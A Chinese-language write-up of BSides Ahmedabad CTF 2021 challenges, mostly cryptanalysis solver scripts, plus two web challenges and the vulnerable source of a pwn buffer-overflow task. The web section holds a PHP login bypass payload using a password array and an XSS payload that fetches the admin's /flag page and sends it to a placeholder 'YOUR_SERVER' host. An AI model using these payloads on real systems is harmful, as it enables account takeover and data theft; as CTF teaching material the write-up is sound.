BSides Ahmedabad CTF 2021 WriteUps

雖然在期中考前,還是手癢在大致上複習好了之後稍微解點題目,大概只打了半場比賽,一樣主要以 crypto 和 web 為主,pwn 和 rev 也有各解一題。

題目名稱上有 * 的題目代表是我賽後才解的。

Crypto

dlppp

1
2
3
4
5
6
7
8
9
10
11
12
import os
from Crypto.Util.number import getPrime, getRandomNBitInteger

flag = os.getenv("FLAG", "XXXX{sample_flag}").encode()
m = int.from_bytes(flag, 'big')

p = getPrime(512)
y = pow(1 + p, m, p**3)

assert m < p
print(f"p = {hex(p)}")
print(f"y = {hex(y)}")

這題要解個 下的 DLP ,其中的

首先先簡化到 去比較好處理,因為

所以這樣做是沒問題的。

接下來用二項式定理可知:

所以 DLP 的結果 就拿到 flag 了。

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import long_to_bytes

p = 0xA1C8E1E9B2301CB1F5D424EC6D959D7F275E11507B2177D55F3DC1268C9A3164B72832F362975023F09623814F80FE0FFAD179D0E51C40B8A1F882D1F5F28E71
y = 0x6FA0FCC8C9C5F695A5709243698D7640C27C45352375919D538137333AB3A2C748CAE5E7C1294D6FFC4007476F6FEC6421C992F9FE1919B381306300CAA2260953E48F2EC0DE7B8C6417FAA42001A748B1B367F5211095DDD6BF4E681F7E7AD787E0A7F562F6F0307D6A8D7E8D18CD59BD7572F0C4F430F0FD4FC61503B203F3BCD6DD0B0F84BBDBD42126D95B525FE77E4BE62C6DBD083DBCAA284B20A9EA6FAF9CBAF20DD88B0180417C9021FA1DCB52B2348C4376BD6B9B38A6C860086AF
g = 1 + p

y %= p ^ 2
m = (y - 1) // p

print(long_to_bytes(m))

這題其實和 Paillier cryptosystem 關係很大。

floorsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import os
import hashlib
from Crypto.Util.number import getPrime, getRandomNBitInteger
from itertools import product

def floor_sum(n: int, m: int, a: int) -> int:
"""Fast calculation for sum([a * i // m for i in range(n)])
"""
res, b = 0, 0
while 0 < n:
res += n * (n - 1) // 2 * (a // m)
a %= m
res += n * (b // m)
b %= m
last = a * n + b
n, m, a, b = last // m, a, m, last % m
return res

#def floor_sum_tests():
# for n, m, a in product(range(50), range(1, 50), range(50)):
# result = floor_sum(n, m, a)
# expect = sum([a * i // m for i in range(n)])
# assert(result == expect)

if __name__ == '__main__':
#floor_sum_tests()

flag = os.getenv('FLAG', 'XXXX{sample_flag}').encode()
flag += hashlib.sha512(flag).digest()
m = int.from_bytes(flag, 'big')
assert m.bit_length() < 2048

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
c = pow(m, e, n)
s = floor_sum(q, q, p)

print(f"c = {c}")
print(f"n = {n}")
print(f"s = {s}")

這題有個奇怪的 floor_sum 可以快速計算出 的值,然後它會給一個 s = floor_sum(q, q, p) 作為一個提示用的數字讓你分解 RSA。

我賽中只能看出它那個 floor_sum(q, q, p) 似乎和 gcd 有點關係,但是沒看出什麼,只能把那個函數簡化如下:

1
2
3
4
5
6
def sum2(q, p):
ret = 0
while q > 0:
ret += q * (q - 1) // 2 * (p // q)
q, p = p % q, q
return ret

不過自己隨便測試的時候發現了一個奇怪的關係 ,所以就把它解掉了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import long_to_bytes

c = 23040235907187792043102377766239160347012425454756214402219399982044253963561544138187423569531882081170834886320190973854626011799820277883217582208960795474430615579336090533683566370889382239077437657567815790536809115842475993748108172855688647606634510990327206587307392015543017884876145469179123535144938693302707229724909443912012098405828416163212773471183275687343852756789315215914149905888864296778004572587778916842514807079884644431138433900314631727531570096879428541834626325720522038566946030094711700613155240677360427005636301342509966941323931780006792225168839057660986447452212763627881844882128
n = 25436172154773316497363731760659809627551021985352168624695689317365040018878195925779734249357382145683534839534348832631746578327288150976696513216052612085728199134879493012682967254530827617417753223998955022174337237825391634619718971640535408277659054217709169558518413217237374290054035438476060534235907848570089739603581573457194953083783917042829987113625590656741008590506988903895998008845547262465276679611851110911540261411521221317990139079888782193797945245078986517794660508171428778191152342783279365287710944280356669999624474416422142006473378042779555537142175392801014489187786764971671239717769
s = 12718086077386658248681865880329904813775510992676084312347844658682520009439097962889867124678691072841767419767174416315873289163644075488348256608026306042864099567439746506341483627265413808708876611999477511087168618912695817309859485820267704138829527108854584779259206608618687145027017719238030267117794390566380531016624830798422997060308480467087130633621890831591995264022449058406630323270130520401030807803477672651197312971884784226103671425190328967548002718406368654056897938481966140031709870266384782295285897095028680666943294657806202686252742158733266700286323555374087306844259404255328911060160

pq = (n % s) + 1 # idk why...

# (x-p)(x-q)=x^2-pq*x+n
def solve(a, b, c):
D = b ^ 2 - 4 * a * c
return (-b + sqrt(D)) / (2 * a)


p = solve(1, -pq, n)
q = n // p
assert p * q == n

d = inverse_mod(65537, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

後來在官方的解答才懂為什麼:

然後頭尾兩兩分組:

因為 非整數,所以有 ,因此整個式子是:

那這樣就有 ,所以分解 RSA 就很容易了,或是也可以直接算 private key。

SSSS.RNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
p = random_prime(1<<512)

a = randint(2, p-1)
b = randint(2, p-1)
x = randint(2, p-1)

def g():
global a, b, x
x = (a*x + b) % p
return x

with open("flag.txt", "rb") as f:
flag = int.from_bytes(f.read().strip(), "big")
assert flag < p

PR.<X> = PolynomialRing(GF(p))
f = g() + g()*X + g()*X**2 + g()*X**3 + g()*X**4 + g()*X**5
vs = [(i, f(i)) for i in range(1, 5)]

print(p)
print(vs)
print(f(flag))

題目用 LCG 生成了一個 的五次多項式 ,然後給你其中四個點和 的值和

雖然正常來說要恢復一個五次多項式要六個點才行,但是這題的係數都是 LCG 產生的,而且 LCG 的 modulus 也是 ,所以多項式的係數都能很漂亮的表示為 的組合。

有四個點可以列出四條式子,所以可以解出 然後恢復整個多項式,最後用 sage 的 roots() 把 flag 找回來即可。

解聯立的部分使用 sage 的 groebner basis 去解就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import long_to_bytes

# fmt: off
p = 2908561168050746475465170048583677924550221390147321314856251074876765877416890922338619139786060615096740196376171212325702080653039392939240436429222829
vs = [(1, 1651293975450381579706844999808202297670211173037061827272908790114230592434748044848097133563469251678879059156225205298834971071359017469397331605782920), (2, 49656064002974834481096383104316375265711545391722811288216446968986145936494966876404160910407919885451814058823146922107458035910700220495010462147112), (3, 1481214561214496310917942246038921499126047497749957535731608952096552856013930232284898279007009260107597472601959627310496773682697020898442717240484400), (4, 1950790377868548708758723604473108315857898618124646291056275632619091046294238343215502355242288776617394025418770078552886012721353626716473759644786481)]
fflag = 708078355843841364722603057137729966137248436075776171805731561888875332687774464375592593202164126123800524500062359645261336234459019198930345744751457
# fmt: on

ys = [v[1] for v in vs]

P.<a, b, x> = GF(p)[]


def g():
global x
x = a * x + b
return x


cs = [g() for _ in range(6)]
print(cs)
M = matrix.vandermonde([1, 2, 3, 4, 5, 6])[:-2]
eqs = M * vector(cs) - vector(ys)
I = P.ideal(list(eqs))
assert I.dimension() == 0
V = I.variety()
sol = V[0]
a = sol["a"]
b = sol["b"]
x = sol["x"]

print(a, b, x)

P.<X> = PolynomialRing(GF(p))
f = g() + g() * X + g() * X ** 2 + g() * X ** 3 + g() * X ** 4 + g() * X ** 5
flag = (f - fflag).roots()[0][0]
print(long_to_bytes(flag))

*ECC-RSA 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import getPrime
from hashlib import sha256
import random


def gen_parameters():
p = getPrime(512)
q = getPrime(512)
N = p * q
a = -3
while True:
b = random.randint(0, N)
if (4*a**3 + 27*b**2) % N != 0:
break
x = random.randint(0, N)
while True:
y2 = (x**3 + a*x + b) % N
if Zmod(p)(y2).is_square() and Zmod(q)(y2).is_square():
break
x = random.randint(0, N)
y = CRT([int(Zmod(p)(y2).sqrt()), int(Zmod(q)(y2).sqrt())], [p, q])
return (N, a, b, (x, y))

with open("flag.txt", "rb") as f:
FLAG = f.read().strip()


N, a, b, (x, y) = gen_parameters()

EC = EllipticCurve(Zmod(N), (a, b))
P = EC(x, y)

T = P
ct = []
for byte in FLAG:
r = int(T.xy()[0])
ct.append(pow(byte*r, 65537, N))
T += T

with open("backdoor.txt", "w") as f:
f.write(str(P.xy()))

print(N)
print(a)
print(b)
print(ct)

題目隨機生成的 RSA 的 ,然後在 上生成一條隨機的橢圓曲線 和上面的一點

加密的部分是拿 flag 的每個 byte 去算 ,而 的 x 座標,初始時 且每次迴圈會更新

顯然只要能知道 的話就能直接爆破回 flag 的字元了。

首先是 flag 為 Neko{ 開頭的,所以我們可以回推出 ,其中 分別是第一個和第二個

根據這類橢圓曲線的 point doubling formula 可以推得:

然後我在比賽中就卡在這邊,想說把分母乘到左側後再把右側減過來得到一個二元多項式 。然後計算 就可以獲得共同根 去解密 flag。只是這個方法的問題在於我們沒辦法快速計算 ,因為 對於 sage 來說太大了。

後來在比賽後才知道可以把它做點微調:

兩邊同乘 :

然後和 就會擁有共同的根 ,gcd 就能求出來了。

不過這邊 有點大,單純的 gcd 要花上數個小時,所以可以使用 Half-GCD 去計算會快很多,大概可以在數分鐘內完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
return Matrix.determinant(f1.sylvester_matrix(f2, var))


# fmt: off
N = 77442460850212773085794635801375958845804707324993357281208194551623657239187349312436696241935186166257591258504749545772004295327768144396282976900520432732812806363533815251339418767473076011913487178468095959185644823866637334571397649439304806976102102648089122600431404774320176332888332026871462714241
a = -3
b = 43578632266128244820417508517042181755548611175192225705779617200211657490732773312201748031199866345732692087242358575000478046482017387745781434943027615258011975018844134398549042530691348612104431176684289790039020991799641531076390867070455143909432946642413870202048257142913333962443315780842386642355
ct = [21697086857122395176967434654620494627649522148784334045225979449081521488425867082556155818341337071695052689435277079021315588247445055792538963495385773534313807325428840566239154599652446828845504373246944071942414868125146072186227947915771087841250919586422115933424816104302793374958996770253881538673, 49266477054257074473484818561542862745662164231714071140708510651506917381315846662378148841703551424449488467221139483391935479888005959017268552566263422337725411476118524905454705883034549736801225658230078676793857361511433206436194566028594273717701913976245784854561523123789898473908838946902331239866, 7028603282358377495992448362382680390936488310246693315946536533009869131409339287743826905497617870069227204058010261234048284371746377537207831676416633787839846455957555930933160453028689071471311111465411188786513962789048766343384192674592887535558074190054508704985519643182566020856627025680632717108, 9050513336296157318966296526057766469795700863500311709011501078551269762419051027920152087634110021002155294396880732088737967114468704530149483319349124108635470983622198438374066941409351854232260998138763975368301797611951517123629772690822424527049219295311881636461980964393606244977156016351237130197, 23722314062555797757055550662032306586520729360778729513752662310125207625493153569344377395808876436885009166977305311030548086876148175329723072006713368012957948111405386576111829480888205290121863395502615092335120796113485396854148984265743154783580839343811115943714225834266064887917047352644157273663, 48520278189315027327894817534851811386313455146699473585424759278836581631834438215028127659907900773403588324713292043072158488639065137602589232334973598468868368868136595807057994768429695117828412579079416200994227636569324964253500177172162270428920418426521656920672461006572251311690498664259670047980, 70423420620276667958899540113166650749957929584320150452943858737019383323207499966037876331842403163896499411502109376042824370402486300015740045806940140883733761725512912671748019148243843240244347716263816398921415127590424564797474114183353623066292171563478747321244668431370593105073524158099680056094, 57677175743132749817331439822970399665404659767046232400429832271041195310159089504574259505839084395228911752958507363083336972538201432695022461280332212130366416141270136752966718318403591384030664906091824255129612295114139331552088520212323865083621659804807770884683449176042760776091854350083404924526, 48354495178825278561692284169233799680622346657017913645204626826186497975565663619029875724669403687881970079897883293075146579126533817892089793279733363828408186593189195318954989827811320586492365150403733361547513650329301069490776474167215307681091587669251138748148858280899282502778544617558206176985, 1336327070743151440916617006304633049523288270254562619190505707777800363977169223021523664064422394562408942874379817062606914194110006907256790564444251004706650094461726630985127782720094405534102852096565040244032680101823175338348529940773275112987271095199550382938852717124375367419138758827097381326, 22760224598067669674305741702965291613331728388294897519447863109696221098333759497452621578774373773250101299991412772367782521770750361046473223867254433118765828070168648680678074827678440816751913544852035837349689096839207930817492399262281578274080957167437289055817376627972980114169584412913968596087, 20595419914155552122877178467755568327152986831708305559340422283926560694627270816462357267364236257470552002381229962748461690478009845199170539143639091918892701434609808867056555409830377497559339044914484597058922482082417592744879083865810837754882387331203935527031110633228009257751264110797024578546, 25341140433014189989539932622500525293113873724972520359086922367924765292994134658438594704158349050190077806366632880963354528018912600358363187448424946962830493706447927874182406022016651649937946717954501209628113046418365164418483361453447889945650700721266118320463924797134271804385670622074565525299, 71177191510640698209863633991256798030200830943142635980027827377414887327579322925925041100506625306452720432569227645732694589215198378402426340400034611720273771011214479201021796422897920411600541006640452747214631793185643377098295849946535998565149249087257863500584983482668519466975765027864589716603, 28599620011804748257313773437078902860397585079299694804300901895147953889926640911593765330517566142707703195092261714644430345907857500070711907828586251177700802862846698634554873409516111081020436277706557672977471490398114685796200916967614622480361351924590483220123264063528533265260362384684263800167, 12253071305410566000639366028350424805155969567562548980487831660524498693689110406039973400134500275712162879393203338094990190978153116504275873511361544692198275051840929761621481573906987661703495903975204878839448224500251350920297587092074190965754981083015315405441492078177074234542052215647621496585, 69112545215140921979983409479033847146003961977233512471297180413815073274242067103795128200730774476345874423963236188960204157437697130322001813035817863785743899181146621118703838005673921929913090825444416288486362059100550311210988610439523180250495676126782785496304292282611950253143881533809309928052, 69966966847614763608073934644371139411463966772615917698612160736399260611565727828099311133390625931472347586254004631142595139970212250775393559262362108676974112023605859835683673130044617900653097579450403529328466613272159668601435242212668737398593910016275915935825126445999512561319770695779206294321, 73299451247510112208904286839181644749199582703719760611429444984804522606405642806033385280377834864514177346267610600726260362817691148922074682132502741862762463570547976082090825815142699899229153329925218724349240307305526021081315530509258175808474910828607629182191198897682198942350885864182628414007, 15616895810808341127764523917074295722136514038191384427000989308264246551792287242058240838534867994602032950960162168844427847817650720837354115976748805960373558190795740222223462376337253107739393485599799897893081874041348077165849860285675462769699066262256208579934583462636625005079624819560028588822, 1438419812071321050059639600278300222339302430716296518316583813588978289559379648962959942934778655009356910585074502145450955001392172672968677179576642798657895449546375502184957867174869040473533810227435579344138056983619652266840621426289618728238980715075056867694562686439781059289518624264781471122, 67996372510707957033060006799149976198282432792896793893101172214439399239528737106624385787438209697098271510620852570441849049544757836991721488854258930308064842963680483282975368155496540614262813644105532116947927151417398714970926667876453972699142502693269556975398296783029326970981791048240201224668, 43883291787408400200588525004386324919448363888776368356357239426167080976315192631213850232267311093476357006059205124005139395089873825866916668841660221456615724745312049204469066643807628702196055081686171468924594661526166240384811598448997207523186388904847912135907422789333573322493636857490033986154, 67760404563554578712047321493191166528018027359412851873668792914055026026286133561688226044425157590397255163185385368549813609161563689118682309664175098646271267445318421021048868742191079429919059652408943738239946909506045163027883015223495051587552609473275289004769239176900778500331417787966243057752, 33583107239590636118967771943982087324812780763028518394246376247731875865144427658491118537828931357539913376664949677961860227170046038707611331705642763909436254147657442466665049334653504004141339308372954659079831857713886693721013067331470196418010765868420007458522210229965617355629675477446001844210, 71862354059694341271875565922320556520854884699515866328747873150089326649147156830602967576658160700322807580886662752329966703026537836315877831776160002191233653472779456318405902629658827055463682614213384824542999366558332546878741780653013041663166059700695124133828487163337219758698715945177800260643, 4389650202426709688781610829889924871717394700561976928740907540453643682729275832551097553798461339373259098778642849458063901076441364987954274664893481147223793554328969936134568234935313468309239201579124009602857926470890061028501014400155764364369701734260211119747381524254600318062049201492458928576]
# fmt: on

e = 65537
Z = Zmod(N)
c1 = Z(ct[0]) / Z(ord("N")) ^ e
c2 = Z(ct[1]) / Z(ord("e")) ^ e


E = EllipticCurve(Z, (a, b))
P = PolynomialRing(Z, "x")
x = P.gen()

down = 4 * (x ^ 3 + a * x + b)
up = (3 * x ^ 2 + a) ^ 2 - 2 * x * down

f = x ^ e - c1
g = up ^ e - down ^ e * c2


# Half-GCD impl from https://github.com/rkm0959/rkm0959_implements/blob/main/Half_GCD/code.sage


def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11


def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)


import sys

sys.setrecursionlimit(500000)


res = GCD(f, g)
# res = (
# 68765093455835208028392258104907079565692659302812829782588600660675613929548799131035775043283907905375438946721292784903505396871443341473054747563228096356170292887552741209158721931281480445553591933194005921593589247544342013684870547235753590331284739460827586347933151294607856549542345658089301181459
# * x
# + 57976660076847746693047667669843141709781328208657608892943399238042073050136437602076395330212978534265956439717721582591882414227440127179227428240681552957224873749894765553704124594310498445840959011243768636829159507147665544078137706841681096739053274910222133055138566326690047859724098578096845570031
# ) # precomputed result
r = Z(-res.monic().coefficients()[0])

invtbl = {power_mod(i, e, N): i for i in range(256)}


for c in ct:
c /= Z(r) ^ e
print(chr(invtbl[c]), end="")
r = Z(up(r)) / Z(down(r))

# Neko{h4lf_gcd_g0es_brrr...}

*They Were Eleven

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os
from Crypto.Util.number import getPrime, getRandomRange

with open("flag.txt", "rb") as f:
m = f.read().strip()
m += os.urandom(111 - len(m))
m = int.from_bytes(m, "big")

xs = []
for i in range(11):
p = getPrime(512)
q = getPrime(512)
n = p * q

c = m**11 * getRandomRange(0, 2**11) % n

xs.append((c, n))

print(xs)

這題是個 RSA 的題目, 長度固定為 111 bytes,且使用 加密 11 次。其中 是 1024 bits 的 modulus,而 是 2048 以下的隨機數。

如果 都是已知的話那可以很容易的使用 Hastad Broadcast 去開 11 次根號得到 ,只是這次我們不知道 的值。

看到它的 這樣的限制給人的感覺就是一股 Lattice 的味道。所以可以嘗試看看要怎麼把題目化為 Lattice。

符合

後用類似 CRT 的方式可得

其中

這邊會遇到的一個問題是 雖然夠小,但是 的大小就不一定了,也不知道有什麼方法可以在 Lattice 中表示

賽中我就卡在這邊,不知道如何進行下去,有做過不少嘗試不過都因為上下界不夠緊所以沒辦法用 Lattice 解。

後來去看了這篇來自 Mystiz 的 writeup 之後才懂要怎麼處理。

後可以得到

所以可以得到以下的 Basis

顯然 展開的 lattice 中。

這邊可以估計一下 ,所以整個 不會超過 bits。而 本身是 bits 所以 算是個 short vector。

實際上 的值會再更小點,大約 90~100 bits 左右,所以 會更短

這邊我嘗試使用過 rkm0959/Inequality_Solving_with_CVP 的腳本去 scale 結合解 CVP 去找,不過 CVP 的能力似乎比 LLL 差一些,在這題的沒什麼效果。直接 LLL 找也是找不太到目標向量,所以恰當的做法是去 scale 之後再 LLL 比較好。

scale 的方法就是讓目標向量的每個維度大小不要差太多,所以把每個 column 乘上適當的常數將它打平即可。細節可直接看解題腳本。

得到 之後可以爆破 得到 ,然後就能拿到 開 11 次方根拿到 flag。

不過 LLL 之後得到的 向量其實不會是 ,而是 ,其中 。兩者只差一個常數倍關係,但是因為 LLL 會找短向量,所以找到的自然會是較短的那個。不過這個其實不影響上面爆破 的方法,所以沒差。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
xs = [...]

cs = [ZZ(x[0]) for x in xs]
ns = [ZZ(x[1]) for x in xs]
T = [crt([1 if i == j else 0 for j in range(11)], ns) for i in range(11)]
N = product(ns)

M = matrix(12, 12)
M[0, 0] = N
for i, (c, t) in enumerate(zip(cs, T)):
M[i + 1, 0] = (c * t) % N
M[i + 1, i + 1] = 1

print(M.change_ring(Zmod(10)))

b = N.nbits()
Q = matrix.diagonal([2 ^ b // (2 ^ 9889)] + [2 ^ b // (2 ^ 110)] * 11)

M *= Q
M = M.LLL()
M /= Q

for row in M:
if row[0] < 0:
row = -row
if min(row) >= 0 and [row[0] % x == 0 for x in row[1:]]:
for k1 in range(1, 2 ^ 11):
R = k1 * row[1]
if row[0] % R != 0:
continue
m11 = ZZ(row[0] // R)
try:
m = m11.nth_root(11)
flag = int(m).to_bytes(111, "big")
print(flag)
except ValueError as e:
pass

# Neko{th3_5tud3nts_0f_spac3_univ3rsity_sh0u1d_b3_wis3_1ik3_a_cat}

LLL 出來的向量有可能是反向的,所以要在適當情況下把它反過來

賽後解這個題目讓我學到了幾件事:

  1. 去處理模反元素的巧妙做法
  2. CVP 的能力可能比 LLL 差,所以 rkm0959/Inequality_Solving_with_CVP 並非萬能
  3. Lattice 找短向量的時候可以 rescale 的技巧

另外一個有趣的地方是我使用的 其實和前面說的 writeup 中的 是一樣的東西,其中 。只是一個是明確算出來,一個是直接用 CRT 算。

Web

entrance

一個 php 暖身題,關鍵在這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();

$users = array(
"admin" => "caa6d4940850705040738b276c7bb3fea1030460",
"guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);

function lookup($username) {
global $users;
return array_key_exists($username, $users) ? $users[$username] : "";
}

if (!empty($_POST['username']) && !empty($_POST['password'])) {
$sha1pass = lookup($_POST['username']);
if ($sha1pass == sha1($_POST['password'])) {
$_SESSION['login'] = true;
$_SESSION['privilege'] = $_POST['username'] == "guest" ? "guest" : "admin";
header("Location: /");
exit();
} else {
$fail = true;
}
}
?>

用 admin 登入之後就能拿到 flag。

測試一下可以知道 php 中 sha1([]) == '',所以只要是任意不存在的 username 然後讓 password 塞陣列進去就能通過檢查了。

1
username=peko&password[]=miko

Roda

一個 node.js 寫的 XSS 題:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
const fs = require('fs');
const axios = require('axios');
const express = require('express');
const multer = require('multer');
const mustacheExpress = require('mustache-express');
const Redis = require('ioredis');
const { v4: uuidv4 } = require('uuid');

const RECAPTCHA_SITE_KEY = process.env.RECAPTCHA_SITE_KEY || '[site key is empty]';
const RECAPTCHA_SECRET_KEY = process.env.RECAPTCHA_SECRET_KEY || '[secret key is empty]';
const SECRET = process.env.SECRET || 's3cr3t';
const FLAG = process.env.FLAG || 'Neko{dummy}';
const REDIS_URL = process.env.REDIS_URL || 'redis://127.0.0.1:6379';

const app = express();
app.use(require('cookie-parser')());
app.use('/static', express.static('static'));
app.engine('mustache', mustacheExpress());
app.set('view engine', 'mustache');
app.set('views', __dirname + '/views');

const port = 5000;
const storage = multer.diskStorage({
destination: './tmp/'
});

const redis = new Redis(REDIS_URL);

let uploadedFiles = {};
let checkedFiles = {};

const ID_TABLE = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
function generateId(n=8) {
let res = '';
for (let i = 0; i < n; i++) {
res += ID_TABLE[Math.random() * ID_TABLE.length | 0];
}
return res;
}

// admin only!
function adminRequired(req, res, next) {
if (!('secret' in req.cookies)) {
res.status(401).render('error', {
message: 'Unauthorized'
});
return;
}

if (req.cookies.secret !== SECRET) {
res.status(401).render('error', {
message: 'Unauthorized'
});
return;
}

next();
}

app.get('/', (req, res) => {
res.render('index');
});

app.get('/flag', adminRequired, (req, res) => {
res.send(FLAG);
});

const SIGNATURES = {
'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
'jpg': new Uint8Array([0xff, 0xd8])
};

function compareUint8Arrays(known, input) {
if (known.length !== input.length) {
return false;
}

for (let i = 0; i < known.length; i++) {
if (known[i] !== input[i]) {
return false;
}
}

return true;
}

function isValidFile(ext, data) {
// extension should not have special chars
if (/[^0-9A-Za-z]/.test(ext)) {
return false;
}

// prevent uploading files other than images
if (!(ext in SIGNATURES)) {
return false;
}

const signature = SIGNATURES[ext];
return compareUint8Arrays(signature, data.slice(0, signature.length));
}

const upload = multer({
storage,
limits: {
files: 1,
fileSize: 100 * 1024
}
});
app.post('/upload', upload.single('file'), (req, res) => {
const { file } = req;
fs.readFile(file.path, (err, data) => {
const buf = new Uint8Array(data);

const fileName = file.originalname;
const ext = fileName.split('.').slice(-1)[0];

// check if the file is safe
if (isValidFile(ext, buf)) {
const newFileName = uuidv4() + '.' + ext;
fs.writeFile('uploads/' + newFileName, buf, (err, data) => {
let id;
do {
id = generateId();
} while (id in uploadedFiles);

uploadedFiles[id] = newFileName;
res.json({
status: 'success',
id
});
});
} else {
res.json({
status: 'error',
message: 'Invalid file'
});
}
});
});

// show uploaded contents
const MIME_TYPES = {
'png': 'image/png',
'jpg': 'image/jpeg'
};

app.get('/uploads/:fileName', (req, res) => {
const { fileName } = req.params;
const path = 'uploads/' + fileName;

// no path traversal
res.type('text/html'); // prepare for error messages
if (/[/\\]|\.\./.test(fileName)) {
res.status(403).render('error', {
message: 'No hack'
});
return;
}

// check if the file exists
try {
fs.accessSync(path);
} catch (e) {
res.status(404).render('error', {
message: 'Not found'
});
return;
}

// send proper Content-Type header
try {
const ext = fileName.split('.').slice(-1)[0];
res.type(MIME_TYPES[ext]);
} catch {}

fs.readFile(path, (err, data) => {
res.send(data);
});
});

app.get('/:id', (req, res) => {
const { id } = req.params;

if (!(id in uploadedFiles)) {
res.status(404).render('error', {
message: 'Not found'
});
return;
}

res.render('file', {
path: uploadedFiles[id],
checked: id in checkedFiles,
siteKey: RECAPTCHA_SITE_KEY,
id
});
});

// report image to admin
app.post('/:id/report', async (req, res) => {
const { id } = req.params;
const { token } = req.query;
/*
const params = `?secret=${RECAPTCHA_SECRET_KEY}&response=${encodeURIComponent(token)}`;
const url = 'https://www.google.com/recaptcha/api/siteverify' + params;
const result = await axios.get(url);

if (!result.data.success) {
res.json({
status: 'error',
message: 'reCAPTCHA failed'
});
return;
}
*/
redis.rpush('query', id);
redis.llen('query', (err, result) => {
console.log('[+] reported:', id);
console.log('[+] length:', result);
res.json({
status: 'success',
length: result
});
})
})

// admin only
app.get('/:id/confirm', adminRequired, (req, res) => {
const { id } = req.params;

if (id in uploadedFiles) {
checkedFiles[id] = true;
}

res.send('done');
});

app.listen(port, '0.0.0.0', () => {
console.log(`Example app listening at http://localhost:${port}`);
});

簡單來說你可以上傳圖片,然後它會檢查 file signature 和副檔名,serve 圖片的 route 部分也會用副檔名去給予正確的 Content-Type。然後你可以 report id 給 admin bot,它會去瀏覽 http://URL/id

關鍵在於它檢查副檔名時用的是 ext in SIGNATURES,其中 SIGNATURES 是一個 js object。js 中的 in 運算子也會一起把 __proto__ 上的東西一起算進去,所以 'toString' in SIGNATURES 或是其他類似的都會是 true

所以就建立一個 xxxx.toString 檔案內容如下:

1
2
3
<script>
fetch('/flag').then(r=>r.text()).then(t=>fetch('https://YOUR_SERVER/?flag='+encodeURIComponent(t)))
</script>

然後上傳上去後直接瀏覽圖片的網址就能觸發 XSS。至於 report 給 admin bot 的部份它只接受 id,不過因為我們的 path 是 uploads/SOME_UUID.toString,把它用 url encode 起來 report 給 admin 就可以了。

一個小麻煩是它有使用 recaptcha,我是直接在它 submit 的地方下個斷點,然後通過 recaptcha 之後自己用 fetch 順帶把 recaptcha 的 token 送自己的 path 過去。

Pwn

BabyBOF:RCE

一個很簡單的 ROP,有給 source:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <unistd.h>

int main() {
char feedback[0x40];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(180);
puts("Enter your feedback: ");
scanf("%s", feedback);
puts("Thank you!");
return 0;
}

